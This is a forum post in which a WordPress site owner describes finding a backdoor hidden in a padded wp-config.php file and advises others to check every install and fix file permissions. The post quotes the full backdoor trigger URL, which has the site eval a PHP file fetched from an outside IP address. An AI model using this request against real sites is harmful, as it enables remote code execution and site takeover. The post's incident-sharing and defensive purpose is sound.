ARG ?? I hate my day right now.. Sorry to the Owner of this post if I may be taking over your original post.
Anyways, I found where “pingnow” is. It seems the install of wordpress was compromised back in August, which cause the wp-config.php file to be modified and leaving a “backdoor”.
I found they wp-config.php contained a copy of the “wp-config-sample.php” plus 40000 lines of code from which most were blank and somewhere in the middle of the file I found this:
https://pastebin.com/h9zXeFN6
Long story, no matter how many times I removed the code from my wp-setttings.php if the permissions are not corrected as well every time someone requested https://blabla.domain/?pingnow=eval&file=https://91.196.216.20/99.php&pass=33e75ff09dd601bbe69f351039152189 all the wp-settings.php for all other installs get modified.
For does of you having this problems, check “ALL” of your wordpress installs, review the wp-config.php file and make sure you modify thet permissions to write on wp-config.php and wp-settings.php.
Hope that helps, I am now really tired ??